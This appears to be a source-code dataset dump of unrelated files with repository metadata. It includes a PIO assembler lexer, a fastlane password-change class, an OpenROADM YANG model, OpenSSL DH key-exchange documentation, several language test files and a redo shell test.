F -> (do (set *pattern-handlers-reg* [F | (value *pattern-handlers-reg*)])
(set *pattern-handlers* [(function F) | (value *pattern-handlers*)])
F))
(define findpos
Sym L -> (trap-error (shen.findpos Sym L)
(/. _ (error "~A is not a pattern handler~%" Sym))))
(define unregister-handler
F -> (let Reg (value *pattern-handlers-reg*)
Pos (findpos F Reg)
RemoveReg (set *pattern-handlers-reg* (remove F Reg))
RemoveFun (set *pattern-handlers* (shen.remove-nth Pos (value *pattern-handlers*)))
F))
) | Shen | 5 | vishalbelsare/shen-sources | extensions/programmable-pattern-matching.shen | [
"BSD-3-Clause"
] |
require(httr)
cookies = c(
'GeoIP' = 'US:Albuquerque:35.1241:-106.7675:v4',
'uls-previous-languages' = '%5B%22en%22%5D',
'mediaWiki.user.sessionId' = 'VaHaeVW3m0ymvx9kacwshZIDkv8zgF9y',
'centralnotice_buckets_by_campaign' = '%7B%22C14_enUS_dsk_lw_FR%22%3A%7B%22val%22%3A%220%22%2C%22start%22%3A1412172000%2C%22end%22%3A1422576000%7D%2C%22C14_en5C_dec_dsk_FR%22%3A%7B%22val%22%3A3%2C%22start%22%3A1417514400%2C%22end%22%3A1425290400%7D%2C%22C14_en5C_bkup_dsk_FR%22%3A%7B%22val%22%3A1%2C%22start%22%3A1417428000%2C%22end%22%3A1425290400%7D%7D',
'centralnotice_bannercount_fr12' = '22',
'centralnotice_bannercount_fr12-wait' = '14'
)
headers = c(
`Accept-Encoding` = 'gzip, deflate, sdch',
`Accept-Language` = 'en-US,en;q=0.8',
`User-Agent` = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
`Accept` = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
`Referer` = 'http://www.wikipedia.org/',
`Connection` = 'keep-alive'
)
res <- httr::GET(url = 'http://en.wikipedia.org/', httr::add_headers(.headers=headers), httr::set_cookies(.cookies = cookies))
| R | 4 | kado0413/curlconverter | fixtures/r/get_with_browser_headers.r | [
"MIT"
] |
<!doctype html><HTML></HTML>
| HTML | 1 | mikoscz/prettier | tests/vue/html-vue/upper-case-html-tag.html | [
"MIT"
] |
/*
* Copyright (c) 2020 Raspberry Pi (Trading) Ltd.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
%{ /* -*- C++ -*- */
# include <cerrno>
# include <climits>
# include <cstdlib>
# include <cstring>
# include <string>
# include "pio_assembler.h"
# include "parser.hpp"
#ifdef _MSC_VER
#pragma warning(disable : 4996) // fopen
#endif
%}
%option noyywrap nounput noinput batch debug never-interactive case-insensitive noline
%{
yy::parser::symbol_type make_INT(const std::string &s, const yy::parser::location_type& loc);
yy::parser::symbol_type make_HEX(const std::string &s, const yy::parser::location_type& loc);
yy::parser::symbol_type make_BINARY(const std::string &s, const yy::parser::location_type& loc);
%}
blank [ \t]
whitesp {blank}+
comment (";"|"//")[^\n]*
digit [0-9]
id [a-zA-Z_][a-zA-Z0-9_]*
binary "0b"[01]+
int {digit}+
hex "0x"[0-9a-fA-F]+
directive \.{id}
output_fmt [^%\n]+
%{
// Code run each time a pattern is matched.
# define YY_USER_ACTION loc.columns (yyleng);
%}
%x code_block
%x c_comment
%x lang_opt
%%
std::string code_block_contents;
yy::location code_block_start;
%{
// A handy shortcut to the location held by the pio_assembler.
yy::location& loc = pioasm.location;
// Code run each time yylex is called.
loc.step();
%}
{blank}+ loc.step();
\n+ { auto loc_newline = loc; loc_newline.end = loc_newline.begin; loc.lines(yyleng); loc.step(); return yy::parser::make_NEWLINE(loc_newline); }
"%"{blank}*{output_fmt}{blank}*"{" {
BEGIN(code_block);
code_block_contents = "";
code_block_start = loc;
std::string tmp(yytext);
tmp = tmp.substr(1, tmp.length() - 2);
tmp = tmp.erase(0, tmp.find_first_not_of(" \t"));
tmp = tmp.erase(tmp.find_last_not_of(" \t") + 1);
return yy::parser::make_CODE_BLOCK_START( tmp, loc);
}
<code_block>{
{blank}+ loc.step();
\n+ { auto loc_newline = loc; loc_newline.end = loc_newline.begin; loc.lines(yyleng); loc.step(); }
"%}" { BEGIN(INITIAL); auto loc2 = loc; loc2.begin = code_block_start.begin; return yy::parser::make_CODE_BLOCK_CONTENTS(code_block_contents, loc2); }
.* { code_block_contents += std::string(yytext) + "\n"; }
}
<c_comment>{
{blank}+ loc.step();
"*/" { BEGIN(INITIAL); }
"*" { }
[^\n\*]* { }
\n+ { auto loc_newline = loc; loc_newline.end = loc_newline.begin; loc.lines(yyleng); loc.step(); }
}
<lang_opt>{
\"[^\n]*\" return yy::parser::make_STRING(yytext, loc);
{blank}+ loc.step();
"=" return yy::parser::make_EQUAL(loc);
{int} return make_INT(yytext, loc);
{hex} return make_HEX(yytext, loc);
{binary} return make_BINARY(yytext, loc);
[^ \t\n\"=]+ return yy::parser::make_NON_WS(yytext, loc);
\n+ { BEGIN(INITIAL); auto loc_newline = loc; loc_newline.end = loc_newline.begin; loc.lines(yyleng); loc.step(); return yy::parser::make_NEWLINE(loc_newline); }
. { throw yy::parser::syntax_error(loc, "invalid character: " + std::string(yytext)); }
}
"/*" { BEGIN(c_comment); }
"," return yy::parser::make_COMMA(loc);
"::" return yy::parser::make_REVERSE(loc);
":" return yy::parser::make_COLON(loc);
"[" return yy::parser::make_LBRACKET(loc);
"]" return yy::parser::make_RBRACKET(loc);
"(" return yy::parser::make_LPAREN(loc);
")" return yy::parser::make_RPAREN(loc);
"+" return yy::parser::make_PLUS(loc);
"--" return yy::parser::make_POST_DECREMENT(loc);
"−−" return yy::parser::make_POST_DECREMENT(loc);
"-" return yy::parser::make_MINUS(loc);
"*" return yy::parser::make_MULTIPLY(loc);
"/" return yy::parser::make_DIVIDE(loc);
"|" return yy::parser::make_OR(loc);
"&" return yy::parser::make_AND(loc);
"^" return yy::parser::make_XOR(loc);
"!=" return yy::parser::make_NOT_EQUAL(loc);
"!" return yy::parser::make_NOT(loc);
"~" return yy::parser::make_NOT(loc);
".program" return yy::parser::make_PROGRAM(loc);
".wrap_target" return yy::parser::make_WRAP_TARGET(loc);
".wrap" return yy::parser::make_WRAP(loc);
".word" return yy::parser::make_WORD(loc);
".define" return yy::parser::make_DEFINE(loc);
".side_set" return yy::parser::make_SIDE_SET(loc);
".origin" return yy::parser::make_ORIGIN(loc);
".lang_opt" { BEGIN(lang_opt); return yy::parser::make_LANG_OPT(loc); }
{directive} return yy::parser::make_UNKNOWN_DIRECTIVE(yytext, loc);
"JMP" return yy::parser::make_JMP(loc);
"WAIT" return yy::parser::make_WAIT(loc);
"IN" return yy::parser::make_IN(loc);
"OUT" return yy::parser::make_OUT(loc);
"PUSH" return yy::parser::make_PUSH(loc);
"PULL" return yy::parser::make_PULL(loc);
"MOV" return yy::parser::make_MOV(loc);
"IRQ" return yy::parser::make_IRQ(loc);
"SET" return yy::parser::make_SET(loc);
"NOP" return yy::parser::make_NOP(loc);
"PUBLIC" return yy::parser::make_PUBLIC(loc);
"OPTIONAL" return yy::parser::make_OPTIONAL(loc);
"OPT" return yy::parser::make_OPTIONAL(loc);
"SIDE" return yy::parser::make_SIDE(loc);
"SIDESET" return yy::parser::make_SIDE(loc);
"SIDE_SET" return yy::parser::make_SIDE(loc);
"PIN" return yy::parser::make_PIN(loc);
"GPIO" return yy::parser::make_GPIO(loc);
"OSRE" return yy::parser::make_OSRE(loc);
"PINS" return yy::parser::make_PINS(loc);
"NULL" return yy::parser::make_NULL(loc);
"PINDIRS" return yy::parser::make_PINDIRS(loc);
"X" return yy::parser::make_X(loc);
"Y" return yy::parser::make_Y(loc);
"PC" return yy::parser::make_PC(loc);
"EXEC" return yy::parser::make_EXEC(loc);
"ISR" return yy::parser::make_ISR(loc);
"OSR" return yy::parser::make_OSR(loc);
"STATUS" return yy::parser::make_STATUS(loc);
"BLOCK" return yy::parser::make_BLOCK(loc);
"NOBLOCK" return yy::parser::make_NOBLOCK(loc);
"IFFULL" return yy::parser::make_IFFULL(loc);
"IFEMPTY" return yy::parser::make_IFEMPTY(loc);
"REL" return yy::parser::make_REL(loc);
"CLEAR" return yy::parser::make_CLEAR(loc);
"NOWAIT" return yy::parser::make_NOWAIT(loc);
"ONE" return yy::parser::make_INT(1, loc);
"ZERO" return yy::parser::make_INT(0, loc);
<<EOF>> return yy::parser::make_END(loc);
{int} return make_INT(yytext, loc);
{hex} return make_HEX(yytext, loc);
{binary} return make_BINARY(yytext, loc);
{id} return yy::parser::make_ID(yytext, loc);
{comment} { }
. { throw yy::parser::syntax_error(loc, "invalid character: " + std::string(yytext)); }
%%
yy::parser::symbol_type make_INT(const std::string &s, const yy::parser::location_type& loc)
{
errno = 0;
long n = strtol (s.c_str(), NULL, 10);
if (! (INT_MIN <= n && n <= INT_MAX && errno != ERANGE))
throw yy::parser::syntax_error (loc, "integer is out of range: " + s);
return yy::parser::make_INT((int) n, loc);
}
yy::parser::symbol_type make_HEX(const std::string &s, const yy::parser::location_type& loc)
{
errno = 0;
long n = strtol (s.c_str() + 2, NULL, 16);
if (! (INT_MIN <= n && n <= INT_MAX && errno != ERANGE))
throw yy::parser::syntax_error (loc, "hex is out of range: " + s);
return yy::parser::make_INT((int) n, loc);
}
yy::parser::symbol_type make_BINARY(const std::string &s, const yy::parser::location_type& loc)
{
errno = 0;
long n = strtol (s.c_str()+2, NULL, 2);
if (! (INT_MIN <= n && n <= INT_MAX && errno != ERANGE))
throw yy::parser::syntax_error (loc, "binary is out of range: " + s);
return yy::parser::make_INT((int) n, loc);
}
void pio_assembler::scan_begin ()
{
yy_flex_debug = false;
if (source.empty () || source == "-")
yyin = stdin;
else if (!(yyin = fopen (source.c_str (), "r")))
{
std::cerr << "cannot open " << source << ": " << strerror(errno) << '\n';
exit (EXIT_FAILURE);
}
}
void pio_assembler::scan_end ()
{
fclose (yyin);
}
| LLVM | 4 | sudobash1/pico-sdk | tools/pioasm/lexer.ll | [
"BSD-3-Clause"
] |
' Highly unsafe threads!!!!! Use at your own considerable risk!!!!!
'
' Monkey is not thread safe - nothing is safe to call.
'
' C++ threads must not create arrays or objects, or modify elements/variables/fields etc that contain arrays or objects. Strings might be OK.
'
' This is undocced, as it's mainly intended for use only by native code, but might be fun to play with in monkey...good for testing anyway!
#If Not BRL_THREAD_IMPLEMENTED
#If LANG="cpp" Or LANG="java" Or LANG="cs" Or LANG="js" Or LANG="as"
#BRL_THREAD_IMPLEMENTED=True
Import "native/thread.${LANG}"
#Endif
#Endif
#If Not BRL_THREAD_IMPLEMENTED
#Error "Native Thread class not implemented."
#Endif
Extern Private
Class BBThread
Method Start:Void()
Method IsRunning:Bool()
Method Result:Object()
'Call this inside Run__UNSAFE__ to duplicate any strings you need to pass to background threads.
'Not pretty, but faster than atomically syncing String refcnt incs/decs so it'll do for now.
'
#If LANG="cpp"
Function Strdup:String( str:String )
#Endif
Private
Method Run__UNSAFE__:Void() Abstract
End
Public
Class Thread Extends BBThread
#If LANG<>"cpp"
Function Strdup:String( str:String )
Return str
End
#Endif
End
| Monkey | 3 | Regal-Internet-Brothers/webcc-monkey | webcc.data/modules/brl/thread.monkey | [
"Zlib"
] |
require_relative 'module'
require_relative 'storage'
require_relative 'encryption'
module Match
# These functions should only be used while in (UI.) interactive mode
class ChangePassword
def self.update(params: nil)
if params[:storage_mode] != "git"
# Only git supports changing the password
# All other storage options will most likely use more advanced
# ways to encrypt files
UI.user_error!("Only git-based match allows you to change your password, current `storage_mode` is #{params[:storage_mode]}")
end
ensure_ui_interactive
new_password = FastlaneCore::Helper.ask_password(message: "New passphrase for Git Repo: ", confirm: true)
# Choose the right storage and encryption implementations
storage = Storage.for_mode(params[:storage_mode], {
git_url: params[:git_url],
shallow_clone: params[:shallow_clone],
skip_docs: params[:skip_docs],
git_branch: params[:git_branch],
git_full_name: params[:git_full_name],
git_user_email: params[:git_user_email],
clone_branch_directly: params[:clone_branch_directly]
})
storage.download
encryption = Encryption.for_storage_mode(params[:storage_mode], {
git_url: params[:git_url],
working_directory: storage.working_directory
})
encryption.decrypt_files
encryption.clear_password
encryption.store_password(new_password)
message = "[fastlane] Changed passphrase"
files_to_commit = encryption.encrypt_files(password: new_password)
storage.save_changes!(files_to_commit: files_to_commit, custom_message: message)
end
def self.ensure_ui_interactive
raise "This code should only run in interactive mode" unless UI.interactive?
end
private_class_method :ensure_ui_interactive
end
end
| Ruby | 4 | flufff42/fastlane | match/lib/match/change_password.rb | [
"MIT"
] |
exec("swigtest.start", -1);
checkequal(ref_int(3), 3, "ref_int() test fails.");
checkequal(ref_uint(uint32(3)), 3, "ref_uint() test fails.");
checkequal(ref_short(3), 3, "ref_short() test fails.");
checkequal(ref_ushort(uint16(3)), 3, "ref_ushort() test fails.");
checkequal(ref_long(3), 3, "ref_long() test fails.");
checkequal(ref_ulong(uint32(3)), 3, "ref_ulong() test fails.");
checkequal(ref_schar(3), 3, "ref_schar() test fails.");
checkequal(ref_uchar(uint8(3)), 3, "ref_uchar() test fails.");
checkequal(ref_float(3), 3, "ref_float() test fails.");
checkequal(ref_double(3), 3, "ref_double() test fails.");
checkequal(ref_bool(%T), %T, "ref_bool() test fails.");
checkequal(ref_char('x'), 'x', "ref_char() test fails.");
checkequal(ref_over(0), 0, "ref_over() test fails.");
exec("swigtest.quit", -1);
| Scilab | 3 | kyletanyag/LL-Smartcard | cacreader/swig-4.0.2/Examples/test-suite/scilab/primitive_ref_runme.sci | [
"BSD-3-Clause"
] |
package jadx.tests.integration.others;
import org.junit.jupiter.api.Test;
import jadx.tests.api.IntegrationTest;
import static jadx.tests.api.utils.assertj.JadxAssertions.assertThat;
public class TestFieldInitOrderStatic extends IntegrationTest {
@SuppressWarnings("ConstantName")
public static class TestCls {
private static final StringBuilder sb = new StringBuilder();
private static final String a = sb.append("a").toString();
private static final String b = sb.append("b").toString();
private static final String c = sb.append("c").toString();
private static final String result = sb.toString();
public void check() {
assertThat(result).isEqualTo("abc");
assertThat(a).isEqualTo("a");
assertThat(b).isEqualTo("ab");
assertThat(c).isEqualTo("abc");
}
}
@Test
public void test() {
assertThat(getClassNode(TestCls.class))
.code()
.doesNotContain("static {")
.doesNotContain("String result;")
.containsOne("String result = sb.toString();");
}
}
| Java | 4 | Dev-kishan1999/jadx | jadx-core/src/test/java/jadx/tests/integration/others/TestFieldInitOrderStatic.java | [
"Apache-2.0"
] |
#include "script_component.hpp"
/*
Name: TFAR_fnc_getLrSettings
Author: NKey, Garth de Wet (L-H)
Returns the current settings for the passed radio.
Arguments:
0: Radio object <OBJECT>
1: Radio ID <STRING>
Return Value:
settings <ARRAY>
Example:
(call TFAR_fnc_activeLrRadio) call TFAR_fnc_getLrSettings;
Public: Yes
*/
params ["_radio_object", "_radio_id"];
private _value = _radio_object getVariable _radio_id;
if (!isNil "_value") exitWith {_value};
private _radioType = "";
if (_radio_object isKindOf "Bag_Base") then {
_radioType = typeOf _radio_object;
} else {
_radioType = _radio_object getVariable "TF_RadioType";
if (isNil "_radioType") then {
_radioType = [typeOf _radio_object, "tf_RadioType"] call TFAR_fnc_getVehicleConfigProperty;
if ((isNil "_radioType") or {_radioType == ""}) then {
private _isAirRadio = (typeOf(_radio_object) isKindOf "Air");
switch (_radio_object call TFAR_fnc_getVehicleSide) do {
case west: {
_radioType = [TFAR_DefaultRadio_Backpack_West, TFAR_DefaultRadio_Airborne_West] select _isAirRadio;
};
case east: {
_radioType = [TFAR_DefaultRadio_Backpack_East, TFAR_DefaultRadio_Airborne_East] select _isAirRadio;
};
default {
_radioType = [TFAR_DefaultRadio_Backpack_Independent, TFAR_DefaultRadio_Airborne_Independent] select _isAirRadio;
};
};
};
};
};
if (isNil QGVAR(saved_active_lr_settings)) then {
_value = [false, TFAR_currentUnit, _radioType] call DFUNC(getDefaultRadioSettings)
} else {
_value = GVAR(saved_active_lr_settings);
GVAR(saved_active_lr_settings) = nil;
};
[[_radio_object, _radio_id], + _value] call TFAR_fnc_setLrSettings;
//Internal use only.. For assigning Curator Logics frequencies
["newLRSettingsAssigned", [player, [_radio_object,_radio_id]]] call TFAR_fnc_fireEventHandlers;
_value
| SQF | 4 | MrDj200/task-force-arma-3-radio | addons/core/functions/fnc_getLrSettings.sqf | [
"RSA-MD"
] |
<html>
<body>
<script src="https://unpkg.com/[email protected]/dist/system.js"></script>
<div id="container"></div>
<script>
System.config({
paths: {
react: '../../../build/node_modules/react/umd/react.production.min.js',
'react-dom': '../../../build/node_modules/react-dom/umd/react-dom.production.min.js'
}
});
Promise.all([
System.import("react"),
System.import("react-dom")
]).then(function (deps) {
var React = deps[0];
var ReactDOM = deps[1];
ReactDOM.render(
React.createElement('h1', null, 'Hello World!'),
document.getElementById('container')
);
});
</script>
</body>
</html> | HTML | 3 | vegYY/react | fixtures/packaging/systemjs/prod.html | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" encoding="iso8859-1"/>
<xsl:template match="TEST">
<body>
<script>
debugger;
</script>
</body>
</xsl:template>
</xsl:stylesheet>
| XSLT | 1 | zealoussnow/chromium | third_party/blink/web_tests/inspector-protocol/debugger/resources/xslt.xslt | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
;;; checkers/spell/doctor.el -*- lexical-binding: t; -*-
(when (or (not (featurep! +flyspell))
(featurep! +aspell))
(unless (executable-find "aspell")
(warn! "Couldn't find aspell executable; spell checker will not work")))
(when (featurep! +hunspell)
(unless (executable-find "hunspell")
(warn! "Couldn't find hunspell executable; spell checker will not work")))
| Emacs Lisp | 4 | leezu/doom-emacs | modules/checkers/spell/doctor.el | [
"MIT"
] |
< M A T L A B (R) >
Copyright 1984-2010 The MathWorks, Inc.
Version 7.11.0.584 (R2010b) 64-bit (glnxa64)
August 16, 2010
To get started, type one of these: helpwin, helpdesk, or demo.
For product information, visit www.mathworks.com.
>> >> >> >> >> ===============================================
>> example1.json
{
"data": {
"firstName": "John",
"lastName": "Smith",
"age": 25,
"address": {
"streetAddress": "21 2nd Street",
"city": "New York",
"state": "NY",
"postalCode": "10021"
},
"phoneNumber": [
{
"type": "home",
"number": "212 555-1234"
},
{
"type": "fax",
"number": "646 555-4567"
}
]
}
}
{"data": {"firstName": "John","lastName": "Smith","age": 25,"address": {"streetAddress": "21 2nd Street","city": "New York","state": "NY","postalCode": "10021"},"phoneNumber": [{"type": "home","number": "212 555-1234"},{"type": "fax","number": "646 555-4567"}]}}
===============================================
>> example2.json
{
"data": {
"glossary": {
"title": "example glossary",
"GlossDiv": {
"title": "S",
"GlossList": {
"GlossEntry": {
"ID": "SGML",
"SortAs": "SGML",
"GlossTerm": "Standard Generalized Markup Language",
"Acronym": "SGML",
"Abbrev": "ISO 8879:1986",
"GlossDef": {
"para": "A meta-markup language, used to create markup languages such as DocBook.",
"GlossSeeAlso": [
"GML",
"XML"
]
},
"GlossSee": "markup"
}
}
}
}
}
}
{"data": {"glossary": {"title": "example glossary","GlossDiv": {"title": "S","GlossList": {"GlossEntry": {"ID": "SGML","SortAs": "SGML","GlossTerm": "Standard Generalized Markup Language","Acronym": "SGML","Abbrev": "ISO 8879:1986","GlossDef": {"para": "A meta-markup language, used to create markup languages such as DocBook.","GlossSeeAlso": ["GML","XML"]},"GlossSee": "markup"}}}}}}
===============================================
>> example3.json
{
"data": {
"menu": {
"id": "file",
"value": "_&File",
"popup": {
"menuitem": [
{
"value": "_&New",
"onclick": "CreateNewDoc(\"'\\\"Untitled\\\"'\")"
},
{
"value": "_&Open",
"onclick": "OpenDoc()"
},
{
"value": "_&Close",
"onclick": "CloseDoc()"
}
]
}
}
}
}
{"data": {"menu": {"id": "file","value": "_&File","popup": {"menuitem": [{"value": "_&New","onclick": "CreateNewDoc(\"'\\\"Untitled\\\"'\")"},{"value": "_&Open","onclick": "OpenDoc()"},{"value": "_&Close","onclick": "CloseDoc()"}]}}}}
===============================================
>> example4.json
{
"data": [
{
"sample": {
"rho": 1
}
},
{
"sample": {
"rho": 2
}
},
[
[1,0],
[1,1],
[1,2]
],
[
"Paper",
"Scissors",
"Stone"
],
[
"a",
"b\\",
"c\"",
"d\\\"",
"e\"[",
"f\\\"[",
"g[\\",
"h[\\\""
]
]
}
{"data": [{"sample": {"rho": 1}},{"sample": {"rho": 2}},[[1,0],[1,1],[1,2]],["Paper","Scissors","Stone"],["a","b\\","c\"","d\\\"","e\"[","f\\\"[","g[\\","h[\\\""]]}
>> >> ===============================================
>> example1.json
{Udata{U firstNameSUJohnUlastNameSUSmithUageiUaddress{U
streetAddressSU
21 2nd StreetUcitySUNew YorkUstateSUNYU
postalCodeSU10021}UphoneNumber[{UtypeSUhomeUnumberSU212 555-1234}{UtypeSUfaxUnumberSU646 555-4567}]}}
===============================================
>> example2.json
{Udata{Uglossary{UtitleSUexample glossaryUGlossDiv{UtitleCSU GlossList{U
GlossEntry{UIDSUSGMLUSortAsSUSGMLU GlossTermSU$Standard Generalized Markup LanguageUAcronymSUSGMLUAbbrevSU
ISO 8879:1986UGlossDef{UparaSUHA meta-markup language, used to create markup languages such as DocBook.UGlossSeeAlso[SUGMLSUXML]}UGlossSeeSUmarkup}}}}}}
===============================================
>> example3.json
{Udata{Umenu{UidSUfileUvalueSU_&FileUpopup{Umenuitem[{UvalueSU_&NewUonclickSUCreateNewDoc("'\"Untitled\"'")}{UvalueSU_&OpenUonclickSU OpenDoc()}{UvalueSU_&CloseUonclickSU
CloseDoc()}]}}}}
===============================================
>> example4.json
{Udata[{Usample{Urhoi}}{Usample{Urhoi}}[[$i#U[$i#U[$i#U][SUPaperSUScissorsSUStone][CaSUb\SUc"SUd\"SUe"[SUf\"[SUg[\SUh[\"]]}
>> | Matlab | 2 | githubkusi/ToolboxToolbox | external/jsonlab-1.2/jsonlab/examples/jsonlab_selftest.matlab | [
"Unlicense"
] |
module org-openroadm-ethernet-interfaces {
namespace "http://org/openroadm/ethernet-interfaces";
prefix org-openroadm-eth-interfaces;
import org-openroadm-device {
prefix org-openroadm-device;
}
import org-openroadm-interfaces {
prefix openROADM-if;
}
organization "Open ROADM MSA";
contact
"OpenROADM.org";
description
"YANG definitions for device facility ethernet interfaces.
Copyright of the Members of the Open ROADM MSA Agreement dated (c) 2016,
AT&T Intellectual Property. All other rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the Members of the Open ROADM MSA Agreement nor the names of its
contributors may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT ''AS IS''
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT THE MEMBERS OF THE OPEN ROADM MSA AGREEMENT BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
Also contains code components extracted from IETF Interfaces. These code components
are copyrighted and licensed as follows:
Copyright (c) 2016 IETF Trust and the persons identified as the document authors.
All rights reserved.
This document is subject to BCP 78 and the IETF Trust’s Legal Provisions Relating
to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of
publication of this document. Please review these documents carefully, as they
describe your rights and restrictions with respect to this document. Code Components
extracted from this document must include Simplified BSD License text as described in
Section 4.e of the Trust Legal Provisions and are provided without warranty as
described in the Simplified BSD License.";
revision 2016-10-14 {
description
"Version 1.2";
}
grouping eth-attributes {
leaf speed {
type uint32;
description
"Set speed of the interface, unit mbps.
This is for ETH facility. ";
}
leaf fec {
type enumeration {
enum off;
enum rsfec;
}
description "Forward Error Correction Choices. ";
}
leaf duplex {
type enumeration {
enum "half" {
value 0;
description
"half duplex";
}
enum "full" {
value 1;
description
"full duplex";
}
}
default "full";
description
"Set duplex selections.";
}
leaf mtu {
type uint32 {
range "1518..9000";
}
default "1522";
description
"Set Maximum Frame Size.";
}
leaf auto-negotiation {
type enumeration {
enum "enabled" {
value 1;
description
"Auto Negotiation enabled";
}
enum "disabled" {
value 0;
description
"Auto Negotiation disabled";
}
}
default "enabled";
description
"Set Auto Negotiation: Enabled/Disabled.";
}
leaf curr-speed {
config false;
type string;
description
"speed (UNKNOWN/AUTO/10/100/1000/10000) corresponding to the interface";
}
leaf curr-duplex {
config false;
type string;
description
"duplex (HALF/FULL) corresponding to the interface";
}
}
grouping ethernet-container {
container ethernet {
description
"Ethernet Interfaces";
uses eth-attributes;
}
}
augment "/org-openroadm-device:org-openroadm-device/org-openroadm-device:interface" {
when "org-openroadm-device:type = 'openROADM-if:ethernetCsmacd'";
uses ethernet-container;
}
}
| YANG | 4 | meodaiduoi/onos | models/openroadm/src/main/yang/[email protected] | [
"Apache-2.0"
] |
def _bencode_torepr:
if .type == "string" then .value | tovalue
elif .type == "integer" then .value | tovalue
elif .type == "list" then .values | map(_bencode_torepr)
elif .type == "dictionary" then
( .pairs
| map({key: (.key | _bencode_torepr), value: (.value | _bencode_torepr)})
| from_entries
)
else error("unknown type \(.type)")
end;
def _bencode__help:
{ links: [
{url: "https://bsonspec.org/spec.html"}
]
};
| JSONiq | 3 | bbhunter/fq | format/bencode/bencode.jq | [
"MIT"
] |
=pod
=head1 NAME
EVP_KEYEXCH-DH
- DH Key Exchange algorithm support
=head1 DESCRIPTION
Key exchange support for the B<DH> key type.
=head2 DH key exchange parameters
=over 4
=item "pad" (B<OSSL_EXCHANGE_PARAM_PAD>) <unsigned integer>
See L<provider-keyexch(7)/Common Key Exchange parameters>.
=item "kdf-ukm" (B<OSSL_EXCHANGE_PARAM_KDF_UKM>) <octet string>
Sets the User Key Material to be used as part of the selected Key Derivation
Function associated with the given key exchange ctx.
=item "kdf-ukm" (B<OSSL_EXCHANGE_PARAM_KDF_UKM>) <octet string ptr>
Gets a pointer to the User Key Material to be used as part of the selected
Key Derivation Function associated with the given key exchange ctx. Providers
usually do not need to support this gettable parameter as its sole purpose
is to support functionality of the deprecated EVP_PKEY_CTX_get0_dh_kdf_ukm()
function.
=back
=head1 EXAMPLES
The examples assume a host and peer both generate keys using the same
named group (or domain parameters). See L<EVP_PKEY-DH(7)/Examples>.
Both the host and peer transfer their public key to each other.
To convert the peer's generated key pair to a public key in DER format in order
to transfer to the host:
EVP_PKEY *peer_key; /* It is assumed this contains the peers generated key */
unsigned char *peer_pub_der = NULL;
int peer_pub_der_len;
peer_pub_der_len = i2d_PUBKEY(peer_key, &peer_pub_der);
...
OPENSSL_free(peer_pub_der);
To convert the received peer's public key from DER format on the host:
const unsigned char *pd = peer_pub_der;
EVP_PKEY *peer_pub_key = d2i_PUBKEY(NULL, &pd, peer_pub_der_len);
...
EVP_PKEY_free(peer_pub_key);
To derive a shared secret on the host using the host's key and the peer's public
key:
/* It is assumed that the host_key and peer_pub_key are set up */
void derive_secret(EVP_KEY *host_key, EVP_PKEY *peer_pub_key)
{
unsigned int pad = 1;
OSSL_PARAM params[2];
unsigned char *secret = NULL;
size_t secret_len = 0;
EVP_PKEY_CTX *dctx = EVP_PKEY_CTX_new_from_pkey(NULL, host_key, NULL);
EVP_PKEY_derive_init(dctx);
/* Optionally set the padding */
params[0] = OSSL_PARAM_construct_uint(OSSL_EXCHANGE_PARAM_PAD, &pad);
params[1] = OSSL_PARAM_construct_end();
EVP_PKEY_CTX_set_params(dctx, params);
EVP_PKEY_derive_set_peer(dctx, peer_pub_key);
/* Get the size by passing NULL as the buffer */
EVP_PKEY_derive(dctx, NULL, &secret_len);
secret = OPENSSL_zalloc(secret_len);
EVP_PKEY_derive(dctx, secret, &secret_len);
...
OPENSSL_clear_free(secret, secret_len);
EVP_PKEY_CTX_free(dctx);
}
Very similar code can be used by the peer to derive the same shared secret
using the host's public key and the peer's generated key pair.
=head1 SEE ALSO
L<EVP_PKEY-DH(7)>,
L<EVP_PKEY-FFC(7)>,
L<EVP_PKEY(3)>,
L<provider-keyexch(7)>,
L<provider-keymgmt(7)>,
L<OSSL_PROVIDER-default(7)>,
L<OSSL_PROVIDER-FIPS(7)>,
=head1 COPYRIGHT
Copyright 2020-2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 5 | pmesnier/openssl | doc/man7/EVP_KEYEXCH-DH.pod | [
"Apache-2.0"
] |
rm -f x/shouldfail
log=$PWD/$1.log
expect_fail() {
local rv=$1
shift
if ("$@") >>$log 2>&1; then
cat "$log" >&2
echo "unexpected success:" "$@" >&2
return $rv
else
return 0
fi
}
# These should all fail because there is no matching .do file.
# In previous versions of redo, it would accidentally try to use
# $PWD/default.do even for ../path/file, which is incorrect. That
# could cause it to return success accidentally.
rm -f "$log"
cd inner
expect_fail 11 redo ../x/shouldfail
